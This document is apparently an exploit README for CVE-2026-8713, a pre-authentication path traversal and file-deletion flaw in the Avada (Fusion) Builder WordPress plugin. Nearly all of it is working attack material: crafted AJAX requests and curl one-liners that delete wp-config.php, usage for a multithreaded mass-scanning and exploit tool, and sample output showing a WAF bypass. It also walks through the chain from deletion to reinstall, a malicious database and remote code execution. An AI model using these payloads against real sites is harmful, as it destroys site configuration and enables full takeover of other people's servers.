CVE-2026-8713

$file_path = str_replace($upload['url'], $upload['path'], $value);
// Nessun controllo realpath() — le sequenze di path traversal passano
unlink($file_path);

1. L'attaccante invia un form Avada tramite wp_ajax_nopriv_fusion_form_submit_ajax
   → Path traversal: ../../wp-config.php
   → privacy_expiration_action = delete
   → privacy_expiration_interval = 0

2. L'hook di spegnimento di WordPress attiva Fusion_Form_DB_Privacy
   → Elabora l'entry del form memorizzata
   → Chiama maybe_delete_files() sul percorso controllato dall'attaccante
   → wp-config.php eliminato

3. WordPress entra in modalità di setup/installazione
   → L'attaccante connette il sito a un database malevolo
   → Esecuzione completa di codice remoto

POST /wp-admin/admin-ajax.php
  action=fusion_form_submit_ajax
  form_id=<id>
  privacy_expiration_action=delete
  fusion_privacy_expiration_interval=0
  fusion_form_field_<name>=../../wp-config.php

GET /wp-admin/admin-ajax.php?action=fusion_form_submit_ajax&form_id=<id>&privacy_expiration_action=delete&...

git clone https://github.com/shinthink/CVE-2026-8713.git
cd CVE-2026-8713
pip install -r requirements.txt

# Solo rilevamento (predefinito — nessuna eliminazione di file)
python cve_2026_8713.py -t target.com

# Rilevamento massivo
python cve_2026_8713.py -f targets.txt

# Modalità exploit — elimina wp-config.php
python cve_2026_8713.py -t target.com --exploit

# Elimina file personalizzato
python cve_2026_8713.py -t target.com --exploit --delete "../../../debug.log"

  -t, --target      Singolo target (dominio o IP)
  -f, --file        Elenco target, uno per riga
  --exploit         Abilita eliminazione file (predefinito: solo rilevamento)
  --delete PATH     Percorso file personalizzato da eliminare (predefinito: wp-config.php)
  -o, --output      Salva risultati su file
  --threads         Workers (predefinito: 20)
  -v, --verbose     Mostra output dettagliato

$ python cve_2026_8713.py -f targets.txt

  CVE-2026-8713  Avada (Fusion) Builder  |  CVSS 9.1
  Mode: Detection  |  Targets: 521  |  Workers: 20
  ───────────────────────────────────────────────────────

  [EXPLOIT]  target-vuln.com      1.2s  form #3  (AJAX open)
  [VULN]     target-waf.com       2.1s  form #1  (WAF blocked)
  [AVADA]    target-noform.com    0.5s  (no form found)
  [-]        target-noavada.com   0.3s

  ───────────────────────────────────────────────────────
  Scan complete  |  Time: 45s
  ───────────────────────────────────────────────────────
  Targets        : 521
  Avada detected : 47
  Forms found    : 12
  Vulnerable     : 9

$ python cve_2026_8713.py -t target.com --exploit -v

  CVE-2026-8713 — Avada Builder Exploit
  CVSS 9.1 | Pre-Auth | Path Traversal → File Delete → RCE

    [+] Found Avada form: id=3
    [+] POST form_id=3: HTTP 403 (WAF blocked)
    [+] GET form_id=3: HTTP 200 (WAF bypassed)

  Host     : target.com
  Avada    : YES
  Form     : 3
  Deleted  : wp-config.php (force reinstall → RCE)
  Time     : 3.2s

curl -sk 'https://target.com/wp-content/themes/Avada/style.css' | head -5

curl -sk 'https://target.com/' | grep -oP 'fusion-form[^"]*form-id=["\x27](https://github.com/shinthink/cve-2026-8713/blob/main/%5Cd%2B)'

curl -sk -X POST \
  -d 'action=fusion_form_submit_ajax' \
  -d 'form_id=3' \
  -d 'privacy_expiration_action=delete' \
  -d 'fusion_privacy_expiration_interval=0' \
  -d 'fusion_form_field_x=../../wp-config.php' \
  'https://target.com/wp-admin/admin-ajax.php'

curl -sk 'https://target.com/wp-admin/admin-ajax.php?action=fusion_form_submit_ajax&form_id=3&privacy_expiration_action=delete&fusion_privacy_expiration_interval=0&fusion_form_field_x=../../wp-config.php'

# Sito in modalità installazione?
curl -sk -o /dev/null -w '%{http_code}' 'https://target.com/wp-admin/install.php'
# HTTP 200 → wp-config eliminato → connetti database malevolo → RCE completa